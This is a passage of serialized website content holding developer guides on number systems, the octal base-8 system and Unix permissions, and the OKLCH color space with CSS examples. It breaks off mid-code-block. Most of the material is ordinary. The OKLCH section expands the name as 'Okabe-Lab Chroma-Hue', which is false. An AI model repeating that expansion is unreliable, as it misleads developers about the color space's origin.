two",[44,158829,158830],{},"Octal survives mainly in Unix file permissions",[44,158832,158833],{},"The divide-by-base method converts decimal to any base; multiply-by-place-value converts any base to decimal",[44,158835,158836],{},"The binary-to-hex shortcut (group 4 bits) is the most practical conversion for daily programming",[44,158838,158839],{},"Hex appears everywhere: CSS colors, memory addresses, debug output, and byte representations",[11,158841,286],{"id":285},[16,158843,158844,158845,158847],{},"Ready to practice base conversions? Use our free ",[98,158846,10569],{"href":10568}," to convert between binary, octal, decimal, and hexadecimal instantly.",[11,158849,321],{"id":320},[41,158851,158852,158856],{},[44,158853,158854],{},[98,158855,14983],{"href":10553},[44,158857,158858],{},[98,158859,115978],{"href":10559},[2043,158861,14986],{},{"title":141,"searchDepth":337,"depth":337,"links":158863},[158864,158865,158871,158872,158877,158882,158883,158884],{"id":158437,"depth":337,"text":158438},{"id":158506,"depth":337,"text":158507,"children":158866},[158867,158868,158869,158870],{"id":158510,"depth":343,"text":14485},{"id":158525,"depth":343,"text":14488},{"id":158539,"depth":343,"text":158540},{"id":158559,"depth":343,"text":158560},{"id":158575,"depth":337,"text":158576},{"id":158643,"depth":337,"text":158644,"children":158873},[158874,158875,158876],{"id":158647,"depth":343,"text":158648},{"id":158660,"depth":343,"text":158661},{"id":158673,"depth":343,"text":158674},{"id":158689,"depth":337,"text":158690,"children":158878},[158879,158880,158881],{"id":158693,"depth":343,"text":158694},{"id":115450,"depth":343,"text":115451},{"id":158798,"depth":343,"text":158799},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how binary, octal, decimal, and hexadecimal number systems work, and why developers need to understand base conversions.",{"immutable":363},{"title":14978,"description":158885},"guides\u002Fnumber-systems-explained","2Fvu8_wvkmz8VXWzYlBRtmJKkv-V4KPlcVccE3175iA",{"id":158891,"title":158892,"body":158893,"date":2070,"description":159392,"extension":361,"meta":159393,"navigation":363,"path":159394,"readingTime":1710,"seo":159395,"stem":159396,"__hash__":159397},"guides\u002Fguides\u002Foctal-number-system-explained.md","Octal Number System Explained: Base-8 Basics",{"type":8,"value":158894,"toc":159371},[158895,158899,158902,158905,158909,158913,158916,158972,158979,158985,158989,158996,159053,159062,159066,159069,159127,159130,159136,159139,159145,159148,159152,159156,159158,159164,159168,159171,159177,159181,159185,159191,159232,159235,159239,159242,159246,159249,159253,159314,159317,159319,159347,159349,159363,159365],[11,158896,158898],{"id":158897},"what-is-the-octal-number-system","What Is the Octal Number System?",[16,158900,158901],{},"The octal number system is a base-8 numeral system that uses eight digits: 0 through 7. Each position in an octal number represents a power of 8, just as each position in a decimal number represents a power of 10.",[16,158903,158904],{},"Octal emerged in computing because it provides a compact way to represent binary values. Every octal digit maps directly to exactly three binary digits (bits), making conversion between the two systems trivial.",[11,158906,158908],{"id":158907},"how-octal-works","How Octal Works",[33,158910,158912],{"id":158911},"place-values","Place Values",[16,158914,158915],{},"In octal, the rightmost digit represents 8⁰ (1), the next represents 8¹ (8), then 8² (64), and so on:",[193,158917,158918,158934],{},[196,158919,158920],{},[199,158921,158922,158924,158926,158928,158930,158932],{},[202,158923,45688],{},[202,158925,12546],{},[202,158927,17821],{},[202,158929,10099],{},[202,158931,3585],{},[202,158933,5285],{},[211,158935,158936,158956],{},[199,158937,158938,158941,158944,158947,158950,158953],{},[216,158939,158940],{},"Power of 8",[216,158942,158943],{},"8⁴",[216,158945,158946],{},"8³",[216,158948,158949],{},"8²",[216,158951,158952],{},"8¹",[216,158954,158955],{},"8⁰",[199,158957,158958,158961,158963,158966,158968,158970],{},[216,158959,158960],{},"Decimal value",[216,158962,131558],{},[216,158964,158965],{},"512",[216,158967,32226],{},[216,158969,10078],{},[216,158971,3585],{},[16,158973,158974,158975,158978],{},"The octal number ",[143,158976,158977],{},"752"," converts to decimal as:",[135,158980,158983],{"className":158981,"code":158982,"language":140},[138],"7 × 64 + 5 × 8 + 2 × 1 = 448 + 40 + 2 = 490\n",[143,158984,158982],{"__ignoreMap":141},[33,158986,158988],{"id":158987},"octal-prefix-convention","Octal Prefix Convention",[16,158990,158991,158992,1531,158994,8037],{},"In many programming languages, octal numbers are written with a leading ",[143,158993,5285],{},[143,158995,115904],{},[193,158997,158998,159008],{},[196,158999,159000],{},[199,159001,159002,159004,159006],{},[202,159003,9824],{},[202,159005,132011],{},[202,159007,133],{},[211,159009,159010,159024,159038],{},[199,159011,159012,159015,159019],{},[216,159013,159014],{},"C, Java, Python 2",[216,159016,159017],{},[143,159018,5285],{},[216,159020,159021],{},[143,159022,159023],{},"0755",[199,159025,159026,159029,159033],{},[216,159027,159028],{},"Python 3, JavaScript, Rust",[216,159030,159031],{},[143,159032,115904],{},[216,159034,159035],{},[143,159036,159037],{},"0o755",[199,159039,159040,159043,159048],{},[216,159041,159042],{},"Bash",[216,159044,159045,159047],{},[143,159046,5285],{}," or none",[216,159049,159050,159052],{},[143,159051,158555],{}," implies octal",[16,159054,159055,159056,159058,159059,159061],{},"Python 3 dropped the bare ",[143,159057,5285],{}," prefix because it caused confusion — ",[143,159060,10420],{}," looked decimal but was actually octal.",[11,159063,159065],{"id":159064},"converting-between-octal-and-binary","Converting Between Octal and Binary",[16,159067,159068],{},"This is where octal shines. Each octal digit maps to exactly three bits:",[193,159070,159071,159083],{},[196,159072,159073],{},[199,159074,159075,159077,159079,159081],{},[202,159076,24541],{},[202,159078,115685],{},[202,159080,24541],{},[202,159082,115685],{},[211,159084,159085,159095,159105,159116],{},[199,159086,159087,159089,159091,159093],{},[216,159088,5285],{},[216,159090,14083],{},[216,159092,12546],{},[216,159094,18114],{},[199,159096,159097,159099,159101,159103],{},[216,159098,3585],{},[216,159100,14091],{},[216,159102,13431],{},[216,159104,41973],{},[199,159106,159107,159109,159111,159113],{},[216,159108,10099],{},[216,159110,14099],{},[216,159112,44593],{},[216,159114,159115],{},"110",[199,159117,159118,159120,159122,159124],{},[216,159119,17821],{},[216,159121,14107],{},[216,159123,735],{},[216,159125,159126],{},"111",[16,159128,159129],{},"To convert octal to binary, replace each digit with its 3-bit equivalent:",[135,159131,159134],{"className":159132,"code":159133,"language":140},[138],"Octal:  7   5   2\nBinary: 111 101 010\n",[143,159135,159133],{"__ignoreMap":141},[16,159137,159138],{},"To convert binary to octal, group bits from right to left in sets of three, then replace each group:",[135,159140,159143],{"className":159141,"code":159142,"language":140},[138],"Binary: 1 101 011\nPad:    001 101 011\nOctal:  1   5   3   → 153\n",[143,159144,159142],{"__ignoreMap":141},[16,159146,159147],{},"This one-to-three mapping is why octal was popular on systems with word sizes divisible by 3 — like the 12-bit PDP-8 and the 36-bit IBM 700 series.",[11,159149,159151],{"id":159150},"converting-between-octal-and-decimal","Converting Between Octal and Decimal",[33,159153,159155],{"id":159154},"octal-to-decimal","Octal to Decimal",[16,159157,10342],{},[135,159159,159162],{"className":159160,"code":159161,"language":140},[138],"752₈ = 7×64 + 5×8 + 2×1 = 490₁₀\n",[143,159163,159161],{"__ignoreMap":141},[33,159165,159167],{"id":159166},"decimal-to-octal","Decimal to Octal",[16,159169,159170],{},"Repeatedly divide by 8 and collect remainders:",[135,159172,159175],{"className":159173,"code":159174,"language":140},[138],"490 ÷ 8 = 61 remainder 2\n 61 ÷ 8 =  7 remainder 5\n  7 ÷ 8 =  0 remainder 7\nRead remainders bottom-up: 752₈\n",[143,159176,159174],{"__ignoreMap":141},[11,159178,159180],{"id":159179},"where-octal-is-used-today","Where Octal Is Used Today",[33,159182,159184],{"id":159183},"unix-file-permissions","Unix File Permissions",[16,159186,159187,159188,159190],{},"The most common modern use of octal is Unix file permissions. ",[143,159189,158555],{}," sets:",[193,159192,159193,159204],{},[196,159194,159195],{},[199,159196,159197,159200,159202],{},[202,159198,159199],{},"Digit",[202,159201,115685],{},[202,159203,4228],{},[211,159205,159206,159215,159224],{},[199,159207,159208,159210,159212],{},[216,159209,735],{},[216,159211,159126],{},[216,159213,159214],{},"Read + Write + Execute",[199,159216,159217,159219,159221],{},[216,159218,13431],{},[216,159220,41973],{},[216,159222,159223],{},"Read + Execute",[199,159225,159226,159228,159230],{},[216,159227,13431],{},[216,159229,41973],{},[216,159231,159223],{},[16,159233,159234],{},"Each digit represents owner, group, and others respectively.",[33,159236,159238],{"id":159237},"embedded-systems","Embedded Systems",[16,159240,159241],{},"Some micro controllers use octal for memory addresses and register values, particularly 12-bit and 24-bit architectures where the bit grouping aligns naturally with octal digits.",[33,159243,159245],{"id":159244},"legacy-systems","Legacy Systems",[16,159247,159248],{},"Older IBM mainframes and PDP minicomputers used octal as their primary notation. Some documentation and debugging tools still display values in octal for backward compatibility.",[11,159250,159252],{"id":159251},"octal-vs-hexadecimal","Octal vs. Hexadecimal",[193,159254,159255,159265],{},[196,159256,159257],{},[199,159258,159259,159261,159263],{},[202,159260,14482],{},[202,159262,24541],{},[202,159264,158632],{},[211,159266,159267,159275,159283,159292,159303],{},[199,159268,159269,159271,159273],{},[216,159270,158587],{},[216,159272,10078],{},[216,159274,10057],{},[199,159276,159277,159279,159281],{},[216,159278,14495],{},[216,159280,158613],{},[216,159282,158637],{},[199,159284,159285,159288,159290],{},[216,159286,159287],{},"Bits per digit",[216,159289,17821],{},[216,159291,12546],{},[199,159293,159294,159297,159300],{},[216,159295,159296],{},"Word alignment",[216,159298,159299],{},"12, 24, 36 bits",[216,159301,159302],{},"8, 16, 32, 64 bits",[199,159304,159305,159308,159311],{},[216,159306,159307],{},"Modern usage",[216,159309,159310],{},"File permissions, legacy",[216,159312,159313],{},"Memory addresses, color codes",[16,159315,159316],{},"Hexadecimal dominates modern computing because modern word sizes (8, 16, 32, 64 bits) are multiples of 4, making hex the natural grouping. Octal persists in niches where its 3-bit grouping aligns better.",[11,159318,1355],{"id":1354},[41,159320,159321,159324,159327,159332,159341,159344],{},[44,159322,159323],{},"Octal is base-8, using digits 0 through 7",[44,159325,159326],{},"Each octal digit maps to exactly three binary bits, making octal-binary conversion trivial",[44,159328,159329,159330,1525],{},"The most common modern use is Unix file permissions (",[143,159331,158555],{},[44,159333,159334,159335,159337,159338,159340],{},"Octal prefixes vary by language: ",[143,159336,5285],{}," in older languages, ",[143,159339,115904],{}," in modern ones",[44,159342,159343],{},"Hexadecimal has largely replaced octal because modern word sizes align with 4-bit grouping",[44,159345,159346],{},"Octal remains relevant on systems with word sizes divisible by 3",[11,159348,321],{"id":320},[41,159350,159351,159355,159359],{},[44,159352,159353],{},[98,159354,10548],{"href":10547},[44,159356,159357],{},[98,159358,10554],{"href":10553},[44,159360,159361],{},[98,159362,10560],{"href":10559},[11,159364,286],{"id":285},[16,159366,159367,159368,159370],{},"Convert between octal, decimal, binary, and hexadecimal instantly with our free ",[98,159369,10569],{"href":10568},". Enter a value in any base and see all conversions at once.",{"title":141,"searchDepth":337,"depth":337,"links":159372},[159373,159374,159378,159379,159383,159388,159389,159390,159391],{"id":158897,"depth":337,"text":158898},{"id":158907,"depth":337,"text":158908,"children":159375},[159376,159377],{"id":158911,"depth":343,"text":158912},{"id":158987,"depth":343,"text":158988},{"id":159064,"depth":337,"text":159065},{"id":159150,"depth":337,"text":159151,"children":159380},[159381,159382],{"id":159154,"depth":343,"text":159155},{"id":159166,"depth":343,"text":159167},{"id":159179,"depth":337,"text":159180,"children":159384},[159385,159386,159387],{"id":159183,"depth":343,"text":159184},{"id":159237,"depth":343,"text":159238},{"id":159244,"depth":343,"text":159245},{"id":159251,"depth":337,"text":159252},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand the octal number system — how base-8 works, where it's used, and how to convert between octal, binary, and decimal.",{"immutable":363},"\u002Fguides\u002Foctal-number-system-explained",{"title":158892,"description":159392},"guides\u002Foctal-number-system-explained","dMSUnrBh1cX02GOU6h7X3qqIOXLoV4EIU8y0ST8GlV0",{"id":159399,"title":102936,"body":159400,"date":2070,"description":160506,"extension":361,"meta":160507,"navigation":363,"path":102935,"readingTime":1710,"seo":160508,"stem":160509,"__hash__":160510},"guides\u002Fguides\u002Foklch-color-space-explained.md",{"type":8,"value":159401,"toc":160488},[159402,159406,159409,159412,159419,159423,159426,159493,159499,159503,159506,159545,159548,159586,159589,159593,159681,159685,159692,159696,159700,159703,159945,159948,159952,159955,160093,160097,160100,160236,160238,160288,160291,160341,160347,160349,160397,160403,160458,160460,160474,160476,160479,160485],[11,159403,159405],{"id":159404},"the-problem-oklch-solves","The Problem OKLCH Solves",[16,159407,159408],{},"Traditional color spaces like HSL and RGB have a critical flaw: they don't match human perception. In HSL, a lightness value of 50% doesn't look equally bright across different hues. A yellow at HSL lightness 50% appears much brighter to the eye than a blue at the same value. This makes HSL unreliable for design systems.",[16,159410,159411],{},"RGB is worse — it's tied to hardware (red, green, blue phosphors) and tells you nothing about how a color actually looks to a human.",[16,159413,159414,159415,159418],{},"OKLCH (Okabe-Lab Chroma-Hue) fixes this by being ",[47,159416,159417],{},"perceptually uniform",". Equal numeric changes produce equal visual changes, regardless of hue. This makes it the first color space that works the way designers actually think.",[11,159420,159422],{"id":159421},"how-oklch-works","How OKLCH Works",[16,159424,159425],{},"OKLCH uses three components:",[193,159427,159428,159442],{},[196,159429,159430],{},[199,159431,159432,159434,159437,159439],{},[202,159433,29085],{},[202,159435,159436],{},"What It Controls",[202,159438,29088],{},[202,159440,159441],{},"Analogy",[211,159443,159444,159461,159477],{},[199,159445,159446,159452,159455,159458],{},[216,159447,159448,159451],{},[47,159449,159450],{},"L"," (Lightness)",[216,159453,159454],{},"Perceived brightness",[216,159456,159457],{},"0–1",[216,159459,159460],{},"HSL lightness, but accurate",[199,159462,159463,159468,159471,159474],{},[216,159464,159465,159467],{},[47,159466,21993],{}," (Chroma)",[216,159469,159470],{},"Color intensity\u002Fsaturation",[216,159472,159473],{},"0–0.4+",[216,159475,159476],{},"HSL saturation, but uniform",[199,159478,159479,159485,159488,159490],{},[216,159480,159481,159484],{},[47,159482,159483],{},"H"," (Hue)",[216,159486,159487],{},"Color angle on the wheel",[216,159489,51006],{},[216,159491,159492],{},"Same as HSL hue",[135,159494,159497],{"className":159495,"code":159496,"language":140},[138],"oklch(L C H)\noklch(0.7 0.15 150)  \u002F* A medium-bright green *\u002F\n",[143,159498,159496],{"__ignoreMap":141},[33,159500,159502],{"id":159501},"why-perceptual-uniformity-matters","Why Perceptual Uniformity Matters",[16,159504,159505],{},"Consider two colors at the same HSL lightness (50%):",[193,159507,159508,159519],{},[196,159509,159510],{},[199,159511,159512,159514,159516],{},[202,159513,4231],{},[202,159515,29369],{},[202,159517,159518],{},"Perceived Brightness",[211,159520,159521,159533],{},[199,159522,159523,159525,159530],{},[216,159524,29281],{},[216,159526,159527],{},[143,159528,159529],{},"hsl(50, 100%, 50%)",[216,159531,159532],{},"Very bright",[199,159534,159535,159537,159542],{},[216,159536,4289],{},[216,159538,159539],{},[143,159540,159541],{},"hsl(230, 100%, 50%)",[216,159543,159544],{},"Much darker",[16,159546,159547],{},"In OKLCH, you'd express these with different lightness values to match their actual perceived brightness:",[193,159549,159550,159560],{},[196,159551,159552],{},[199,159553,159554,159556,159558],{},[202,159555,4231],{},[202,159557,55028],{},[202,159559,159518],{},[211,159561,159562,159574],{},[199,159563,159564,159566,159571],{},[216,159565,29281],{},[216,159567,159568],{},[143,159569,159570],{},"oklch(0.82 0.18 90)",[216,159572,159573],{},"0.82 (bright)",[199,159575,159576,159578,159583],{},[216,159577,4289],{},[216,159579,159580],{},[143,159581,159582],{},"oklch(0.45 0.15 260)",[216,159584,159585],{},"0.45 (dark)",[16,159587,159588],{},"This is the key difference: OKLCH lightness matches what your eyes see.",[11,159590,159592],{"id":159591},"oklch-vs-other-color-spaces","OKLCH vs Other Color Spaces",[193,159594,159595,159610],{},[196,159596,159597],{},[199,159598,159599,159601,159603,159605,159607],{},[202,159600,5867],{},[202,159602,55028],{},[202,159604,29369],{},[202,159606,29358],{},[202,159608,159609],{},"LCH",[211,159611,159612,159626,159639,159653,159667],{},[199,159613,159614,159617,159619,159621,159623],{},[216,159615,159616],{},"Perceptually uniform",[216,159618,3057],{},[216,159620,6117],{},[216,159622,6117],{},[216,159624,159625],{},"Mostly",[199,159627,159628,159631,159633,159635,159637],{},[216,159629,159630],{},"Hue-independent lightness",[216,159632,3057],{},[216,159634,6117],{},[216,159636,6117],{},[216,159638,159625],{},[199,159640,159641,159644,159646,159649,159651],{},[216,159642,159643],{},"CSS support",[216,159645,87446],{},[216,159647,159648],{},"All",[216,159650,159648],{},[216,159652,87446],{},[199,159654,159655,159658,159660,159663,159665],{},[216,159656,159657],{},"Intuitive for design",[216,159659,3057],{},[216,159661,159662],{},"Yes (misleadingly)",[216,159664,6117],{},[216,159666,3057],{},[199,159668,159669,159672,159674,159676,159678],{},[216,159670,159671],{},"No hue shift in gradients",[216,159673,3057],{},[216,159675,6117],{},[216,159677,65916],{},[216,159679,159680],{},"Some",[33,159682,159684],{"id":159683},"oklch-vs-lch","OKLCH vs LCH",[16,159686,159687,159688,159691],{},"LCH (CIE LCH) was an earlier attempt at perceptual uniformity. It's better than HSL but still has a known issue: the ",[47,159689,159690],{},"blue-purple shift",". Adjusting lightness in LCH can unintentionally shift the hue, particularly in the blue range. OKLCH corrects this with a newer underlying model (OKLAB), making it the most perceptually accurate option available.",[11,159693,159695],{"id":159694},"practical-uses-in-css","Practical Uses in CSS",[33,159697,159699],{"id":159698},"consistent-shade-scales","Consistent Shade Scales",[16,159701,159702],{},"The biggest win: generate shade scales by changing only lightness while keeping chroma and hue constant. The result is visually even steps — no surprises:",[135,159704,159706],{"className":1554,"code":159705,"language":1556,"meta":141,"style":141},":root {\n  --brand-50:  oklch(0.97 0.03 260);\n  --brand-100: oklch(0.93 0.06 260);\n  --brand-200: oklch(0.85 0.10 260);\n  --brand-300: oklch(0.75 0.14 260);\n  --brand-400: oklch(0.65 0.17 260);\n  --brand-500: oklch(0.55 0.20 260);\n  --brand-600: oklch(0.45 0.18 260);\n  --brand-700: oklch(0.37 0.15 260);\n  --brand-800: oklch(0.28 0.12 260);\n  --brand-900: oklch(0.22 0.10 260);\n  --brand-950: oklch(0.15 0.08 260);\n}\n",[143,159707,159708,159714,159736,159757,159777,159797,159818,159838,159859,159880,159901,159921,159941],{"__ignoreMap":141},[1560,159709,159710,159712],{"class":1562,"line":1563},[1560,159711,2207],{"class":1566},[1560,159713,1571],{"class":1570},[1560,159715,159716,159719,159722,159724,159726,159729,159732,159734],{"class":1562,"line":337},[1560,159717,159718],{"class":2219},"  --brand-50",[1560,159720,159721],{"class":1570},":  ",[1560,159723,30410],{"class":1576},[1560,159725,1688],{"class":1570},[1560,159727,159728],{"class":1576},"0.97",[1560,159730,159731],{"class":1576}," 0.03",[1560,159733,102872],{"class":1576},[1560,159735,1744],{"class":1570},[1560,159737,159738,159741,159743,159745,159747,159750,159753,159755],{"class":1562,"line":343},[1560,159739,159740],{"class":2219},"  --brand-100",[1560,159742,1663],{"class":1570},[1560,159744,30410],{"class":1576},[1560,159746,1688],{"class":1570},[1560,159748,159749],{"class":1576},"0.93",[1560,159751,159752],{"class":1576}," 0.06",[1560,159754,102872],{"class":1576},[1560,159756,1744],{"class":1570},[1560,159758,159759,159762,159764,159766,159768,159770,159773,159775],{"class":1562,"line":365},[1560,159760,159761],{"class":2219},"  --brand-200",[1560,159763,1663],{"class":1570},[1560,159765,30410],{"class":1576},[1560,159767,1688],{"class":1570},[1560,159769,56399],{"class":1576},[1560,159771,159772],{"class":1576}," 0.10",[1560,159774,102872],{"class":1576},[1560,159776,1744],{"class":1570},[1560,159778,159779,159782,159784,159786,159788,159790,159793,159795],{"class":1562,"line":889},[1560,159780,159781],{"class":2219},"  --brand-300",[1560,159783,1663],{"class":1570},[1560,159785,30410],{"class":1576},[1560,159787,1688],{"class":1570},[1560,159789,72471],{"class":1576},[1560,159791,159792],{"class":1576}," 0.14",[1560,159794,102872],{"class":1576},[1560,159796,1744],{"class":1570},[1560,159798,159799,159802,159804,159806,159808,159811,159814,159816],{"class":1562,"line":1710},[1560,159800,159801],{"class":2219},"  --brand-400",[1560,159803,1663],{"class":1570},[1560,159805,30410],{"class":1576},[1560,159807,1688],{"class":1570},[1560,159809,159810],{"class":1576},"0.65",[1560,159812,159813],{"class":1576}," 0.17",[1560,159815,102872],{"class":1576},[1560,159817,1744],{"class":1570},[1560,159819,159820,159823,159825,159827,159829,159831,159834,159836],{"class":1562,"line":1717},[1560,159821,159822],{"class":2219},"  --brand-500",[1560,159824,1663],{"class":1570},[1560,159826,30410],{"class":1576},[1560,159828,1688],{"class":1570},[1560,159830,51069],{"class":1576},[1560,159832,159833],{"class":1576}," 0.20",[1560,159835,102872],{"class":1576},[1560,159837,1744],{"class":1570},[1560,159839,159840,159843,159845,159847,159849,159852,159855,159857],{"class":1562,"line":1747},[1560,159841,159842],{"class":2219},"  --brand-600",[1560,159844,1663],{"class":1570},[1560,159846,30410],{"class":1576},[1560,159848,1688],{"class":1570},[1560,159850,159851],{"class":1576},"0.45",[1560,159853,159854],{"class":1576}," 0.18",[1560,159856,102872],{"class":1576},[1560,159858,1744],{"class":1570},[1560,159860,159861,159864,159866,159868,159870,159873,159876,159878],{"class":1562,"line":2507},[1560,159862,159863],{"class":2219},"  --brand-700",[1560,159865,1663],{"class":1570},[1560,159867,30410],{"class":1576},[1560,159869,1688],{"class":1570},[1560,159871,159872],{"class":1576},"0.37",[1560,159874,159875],{"class":1576}," 0.15",[1560,159877,102872],{"class":1576},[1560,159879,1744],{"class":1570},[1560,159881,159882,159885,159887,159889,159891,159894,159897,159899],{"class":1562,"line":2524},[1560,159883,159884],{"class":2219},"  --brand-800",[1560,159886,1663],{"class":1570},[1560,159888,30410],{"class":1576},[1560,159890,1688],{"class":1570},[1560,159892,159893],{"class":1576},"0.28",[1560,159895,159896],{"class":1576}," 0.12",[1560,159898,102872],{"class":1576},[1560,159900,1744],{"class":1570},[1560,159902,159903,159906,159908,159910,159912,159915,159917,159919],{"class":1562,"line":2529},[1560,159904,159905],{"class":2219},"  --brand-900",[1560,159907,1663],{"class":1570},[1560,159909,30410],{"class":1576},[1560,159911,1688],{"class":1570},[1560,159913,159914],{"class":1576},"0.22",[1560,159916,159772],{"class":1576},[1560,159918,102872],{"class":1576},[1560,159920,1744],{"class":1570},[1560,159922,159923,159926,159928,159930,159932,159934,159937,159939],{"class":1562,"line":2534},[1560,159924,159925],{"class":2219},"  --brand-950",[1560,159927,1663],{"class":1570},[1560,159929,30410],{"class":1576},[1560,159931,1688],{"class":1570},[1560,159933,19693],{"class":1576},[1560,159935,159936],{"class":1576}," 0.08",[1560,159938,102872],{"class":1576},[1560,159940,1744],{"class":1570},[1560,159942,159943],{"class":1562,"line":2542},[1560,159944,1585],{"class":1570},[16,159946,159947],{},"Every step looks equally different from its neighbor. Try that in HSL and you'll get inconsistent visual gaps.",[33,159949,159951],{"id":159950},"better-gradients","Better Gradients",[16,159953,159954],{},"HSL gradients often pass through muddy middle tones because hue interpolation isn't perceptually uniform. OKLCH gradients stay vivid:",[135,159956,159958],{"className":1554,"code":159957,"language":1556,"meta":141,"style":141},".gradient-hsl {\n  background: linear-gradient(to right, hsl(0, 80%, 55%), hsl(240, 80%, 55%));\n  \u002F* Passes through dull gray in the middle *\u002F\n}\n\n.gradient-oklch {\n  background: linear-gradient(to right, oklch(0.6 0.2 25), oklch(0.5 0.2 280));\n  \u002F* Stays vivid and perceptually even throughout *\u002F\n}\n",[143,159959,159960,159967,160024,160029,160033,160037,160044,160084,160089],{"__ignoreMap":141},[1560,159961,159962,159965],{"class":1562,"line":1563},[1560,159963,159964],{"class":1566},".gradient-hsl",[1560,159966,1571],{"class":1570},[1560,159968,159969,159971,159973,159975,159977,159979,159982,159984,159986,159988,159990,159992,159994,159996,159998,160000,160002,160004,160006,160008,160010,160012,160014,160016,160018,160020,160022],{"class":1562,"line":337},[1560,159970,5665],{"class":1576},[1560,159972,1663],{"class":1570},[1560,159974,46356],{"class":1576},[1560,159976,1688],{"class":1570},[1560,159978,68927],{"class":1669},[1560,159980,159981],{"class":1576}," right",[1560,159983,1459],{"class":1570},[1560,159985,50903],{"class":1576},[1560,159987,1688],{"class":1570},[1560,159989,5285],{"class":1576},[1560,159991,1459],{"class":1570},[1560,159993,5321],{"class":1576},[1560,159995,17990],{"class":1669},[1560,159997,1459],{"class":1570},[1560,159999,46113],{"class":1576},[1560,160001,17990],{"class":1669},[1560,160003,18895],{"class":1570},[1560,160005,50903],{"class":1576},[1560,160007,1688],{"class":1570},[1560,160009,14865],{"class":1576},[1560,160011,1459],{"class":1570},[1560,160013,5321],{"class":1576},[1560,160015,17990],{"class":1669},[1560,160017,1459],{"class":1570},[1560,160019,46113],{"class":1576},[1560,160021,17990],{"class":1669},[1560,160023,41941],{"class":1570},[1560,160025,160026],{"class":1562,"line":343},[1560,160027,160028],{"class":1649},"  \u002F* Passes through dull gray in the middle *\u002F\n",[1560,160030,160031],{"class":1562,"line":365},[1560,160032,1585],{"class":1570},[1560,160034,160035],{"class":1562,"line":889},[1560,160036,1702],{"emptyLinePlaceholder":363},[1560,160038,160039,160042],{"class":1562,"line":1710},[1560,160040,160041],{"class":1566},".gradient-oklch",[1560,160043,1571],{"class":1570},[1560,160045,160046,160048,160050,160052,160054,160056,160058,160060,160062,160064,160066,160068,160070,160072,160074,160076,160078,160080,160082],{"class":1562,"line":1717},[1560,160047,5665],{"class":1576},[1560,160049,1663],{"class":1570},[1560,160051,46356],{"class":1576},[1560,160053,1688],{"class":1570},[1560,160055,68927],{"class":1669},[1560,160057,159981],{"class":1576},[1560,160059,1459],{"class":1570},[1560,160061,30410],{"class":1576},[1560,160063,1688],{"class":1570},[1560,160065,44082],{"class":1576},[1560,160067,30419],{"class":1576},[1560,160069,75697],{"class":1576},[1560,160071,18895],{"class":1570},[1560,160073,30410],{"class":1576},[1560,160075,1688],{"class":1570},[1560,160077,5687],{"class":1576},[1560,160079,30419],{"class":1576},[1560,160081,107152],{"class":1576},[1560,160083,41941],{"class":1570},[1560,160085,160086],{"class":1562,"line":1747},[1560,160087,160088],{"class":1649},"  \u002F* Stays vivid and perceptually even throughout *\u002F\n",[1560,160090,160091],{"class":1562,"line":2507},[1560,160092,1585],{"class":1570},[33,160094,160096],{"id":160095},"accessible-color-manipulation","Accessible Color Manipulation",[16,160098,160099],{},"Need a lighter version with the same perceived hue? In HSL, you'd adjust lightness and get unexpected hue shifts. In OKLCH, bump the L value and the color stays consistent:",[135,160101,160103],{"className":1554,"code":160102,"language":1556,"meta":141,"style":141},"\u002F* HSL: making lighter shifts the apparent hue *\u002F\n.button       { background: hsl(230, 80%, 45%); }  \u002F* blue-ish *\u002F\n.button-hover { background: hsl(230, 80%, 55%); }  \u002F* slightly purple shift *\u002F\n\n\u002F* OKLCH: making lighter preserves the hue *\u002F\n.button       { background: oklch(0.45 0.18 260); }\n.button-hover { background: oklch(0.55 0.18 260); }  \u002F* same hue, brighter *\u002F\n",[143,160104,160105,160110,160146,160180,160184,160189,160211],{"__ignoreMap":141},[1560,160106,160107],{"class":1562,"line":1563},[1560,160108,160109],{"class":1649},"\u002F* HSL: making lighter shifts the apparent hue *\u002F\n",[1560,160111,160112,160114,160117,160119,160121,160123,160125,160128,160130,160132,160134,160136,160138,160140,160143],{"class":1562,"line":337},[1560,160113,5741],{"class":1566},[1560,160115,160116],{"class":1570},"       { ",[1560,160118,11362],{"class":1576},[1560,160120,1663],{"class":1570},[1560,160122,50903],{"class":1576},[1560,160124,1688],{"class":1570},[1560,160126,160127],{"class":1576},"230",[1560,160129,1459],{"class":1570},[1560,160131,5321],{"class":1576},[1560,160133,17990],{"class":1669},[1560,160135,1459],{"class":1570},[1560,160137,1691],{"class":1576},[1560,160139,17990],{"class":1669},[1560,160141,160142],{"class":1570},"); }  ",[1560,160144,160145],{"class":1649},"\u002F* blue-ish *\u002F\n",[1560,160147,160148,160151,160153,160155,160157,160159,160161,160163,160165,160167,160169,160171,160173,160175,160177],{"class":1562,"line":343},[1560,160149,160150],{"class":1566},".button-hover",[1560,160152,1658],{"class":1570},[1560,160154,11362],{"class":1576},[1560,160156,1663],{"class":1570},[1560,160158,50903],{"class":1576},[1560,160160,1688],{"class":1570},[1560,160162,160127],{"class":1576},[1560,160164,1459],{"class":1570},[1560,160166,5321],{"class":1576},[1560,160168,17990],{"class":1669},[1560,160170,1459],{"class":1570},[1560,160172,46113],{"class":1576},[1560,160174,17990],{"class":1669},[1560,160176,160142],{"class":1570},[1560,160178,160179],{"class":1649},"\u002F* slightly purple shift *\u002F\n",[1560,160181,160182],{"class":1562,"line":365},[1560,160183,1702],{"emptyLinePlaceholder":363},[1560,160185,160186],{"class":1562,"line":889},[1560,160187,160188],{"class":1649},"\u002F* OKLCH: making lighter preserves the hue *\u002F\n",[1560,160190,160191,160193,160195,160197,160199,160201,160203,160205,160207,160209],{"class":1562,"line":1710},[1560,160192,5741],{"class":1566},[1560,160194,160116],{"class":1570},[1560,160196,11362],{"class":1576},[1560,160198,1663],{"class":1570},[1560,160200,30410],{"class":1576},[1560,160202,1688],{"class":1570},[1560,160204,159851],{"class":1576},[1560,160206,159854],{"class":1576},[1560,160208,102872],{"class":1576},[1560,160210,1697],{"class":1570},[1560,160212,160213,160215,160217,160219,160221,160223,160225,160227,160229,160231,160233],{"class":1562,"line":1717},[1560,160214,160150],{"class":1566},[1560,160216,1658],{"class":1570},[1560,160218,11362],{"class":1576},[1560,160220,1663],{"class":1570},[1560,160222,30410],{"class":1576},[1560,160224,1688],{"class":1570},[1560,160226,51069],{"class":1576},[1560,160228,159854],{"class":1576},[1560,160230,102872],{"class":1576},[1560,160232,160142],{"class":1570},[1560,160234,160235],{"class":1649},"\u002F* same hue, brighter 